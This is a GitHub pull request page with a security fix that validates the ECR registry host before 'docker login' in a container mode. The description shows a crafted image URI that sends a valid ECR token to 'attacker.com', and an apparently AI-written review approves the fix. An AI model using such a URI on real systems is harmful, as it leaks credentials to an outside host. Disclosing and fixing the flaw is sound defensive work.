fix(serve): Validate ECR registry host before docker login in LocalCo… - #6133
fix(serve): Validate ECR registry host before docker login in LocalCo…#6133lucasjia-aws wants to merge 1 commit into
Conversation
…ntainerMode
_is_ecr_image() classified an image as ECR by substring-matching
".dkr.ecr." and ".amazonaws.com" anywhere in the URI, while _pull_image()
took the docker login target from image.split("/")[0]. The two used
inconsistent values, so a crafted URI such as
attacker.com/x.dkr.ecr.<region>.amazonaws.com/repo passed the classifier
yet caused "docker login -u AWS -p <ECR_TOKEN> attacker.com", leaking a
valid, replayable ECR authorization token to an attacker-controlled host.
Parse the registry host first and validate it against a strict ECR
endpoint pattern, and reuse that same validated host for docker login, so
the classifier and the login target can never disagree. Add unit tests
covering valid ECR (incl. China partition), attacker-crafted, and public
image URIs.
|
Claude finished @lucasjia-aws's task in 1m 55s —— View job PR Review: Validate ECR registry host before docker login
This is a solid, well-scoped security fix. The parser-confusion vulnerability is real and the remediation is the right one: derive the classification ( Strengths
Minor observations (non-blocking)
Correctness / backward-compatNo breaking changes for real consumers: every legitimate ECR pull URI has the form Verdict: LGTM. The one thing worth a maintainer decision is whether FIPS/ISO ECR endpoints need to be supported here; if not, this is ready to merge. |
…ntainerMode
_is_ecr_image() classified an image as ECR by substring-matching ".dkr.ecr." and ".amazonaws.com" anywhere in the URI, while _pull_image() took the docker login target from image.split("/")[0]. The two used inconsistent values, so a crafted URI such as
attacker.com/x.dkr.ecr..amazonaws.com/repo passed the classifier yet caused "docker login -u AWS -p <ECR_TOKEN> attacker.com", leaking a valid, replayable ECR authorization token to an attacker-controlled host.
Parse the registry host first and validate it against a strict ECR endpoint pattern, and reuse that same validated host for docker login, so the classifier and the login target can never disagree. Add unit tests covering valid ECR (incl. China partition), attacker-crafted, and public image URIs.
Issue #, if available:
Description of changes:
By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.